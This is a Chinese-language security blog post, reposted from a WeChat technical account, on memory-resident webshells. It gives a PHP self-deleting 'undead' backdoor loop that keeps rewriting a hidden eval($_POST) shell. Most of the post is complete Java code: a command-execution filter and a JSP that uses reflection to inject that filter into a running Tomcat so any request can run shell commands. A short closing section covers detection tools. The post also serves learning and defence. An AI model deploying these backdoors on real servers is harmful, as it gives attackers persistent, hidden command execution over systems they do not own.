。
php内存马
刚开始学习的时候,只知道php内存马,想的都是内存马,php和java应该会有一些相似的特征,应该可以类比一下。
php内存马常常作为AWD对抗赛的常用手段
先通过一个简单的php型看一下内存马的基本实现思路
ignore_user_abort(true); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
unlink(__FILE__); //删除自身
$file = '.config.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72")
{@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code); //创建shell.php
system('touch -m -d "2018-12-01 09:10:12" .config.php');
usleep(50); //间隔时间
}
<?php
while (1) {
$pid = 不死马的进程PID;
@unlink(".ski12.php");
exec("kill -9 $pid");
usleep(20);
}
?>
以Filter型内存马为例
在进入正题之前,先说两个东西
java特性--反射
java的四大特性是,封装,继承,多态,反射,其中灵魂是反射。
类名.class,如:com.anbai.sec.classloader.TestHelloWorld.class
Class.forName("com.anbai.sec.classloader.TestHelloWorld")
classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld")
上面说到,根据双亲委派机制,那么什么是双亲委派机制呢?
public void init(FilterConfig filterConfig) throws ServletException //初始化
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //拦截请求
public void destroy(); //销毁
和Servlet的方式不同,Filter不能通过注解去配置,必须在web.xml进行配置。
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>filterDemo2</filter-name>
<filter-class>FilterDemo2</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
import javax.servlet.*;
import java.io.IOException;
public class FilterDemo2 implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("第一个Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("第一个Filter执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {
}
}
1. 根据请求的URL从FilterMaps中找出与之URL对应的Filter名称
模拟注入
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>cmd_Filters</filter-name>
<filter-class>cmd_Filters</filter-class>
</filter>
<filter-mapping>
<filter-name>cmd_Filters</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class cmd_Filters implements Filter {
public void destroy() {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
}
public void init(FilterConfig config) throws ServletException {
}
}
现在要解决的两个问题:
当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//上面几行的目的是为了获取(ApplicationContext)context
通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:
ApplicationContext -> StandardContext(ApplicationContext实例中包含了StandardContext实例)
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//上面几行的目的是为了获取(StandradContext)context
通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问,此时stdctx的值:
这样就可以获取(StandardContext)context对象。
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ApplicationFilterConfig: 为指定的过滤器构造一个新的 ApplicationFilterConfig
//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();
//name = filterDemo
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都 可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");
//name = filterDemo
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//name = filterDemo
filterConfigs.put(name,filterConfig);
<%--
Created by IntelliJ IDEA.
User: 12451
Date: 2021/8/26
Time: 17:41
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.deploy.FilterDef" %>
<%@ page import="org.apache.catalina.deploy.FilterMap" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "FilterAgent";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
效果如下
之后,在满足urlpattern的情况下,可以执行任意命令
注意,这样产生的内存马在重启之后是会消失的,有师傅写过重启后也不会消失的内存马,师傅们可以抽空看一看。
那么我们该怎么防御,或者说查杀呢?
Tomcat内存马的排除与查杀
public class Transformer implements ClassFileTransformer {
public byte[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
// 识别内存马
if(isMemshell(aClass,bytes)){
// 查杀内存马
byte[] newClassByte = killMemshell(aClass,bytes);
return newClassByte;
}else{
return bytes;
}
}
}
排查方式
是一个比较好用的java应用检测工具,
了解文档可以从这里https://arthas.aliyun.com/zh-cn/
mbean(查看 Mbean 的信息,查看异常Filter/Servlet节点)
mbean | grep "Servlet"
3. Copagent
代码可以在相关 java文件里找到
4. java-memshell-scanner
1. https://www.cnblogs.com/stateis0/p/9062201.html
往期 · 推荐
本文始发于微信公众号(星阑科技):【技术干货】Tomcat Filter类型内存马与查杀技术学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论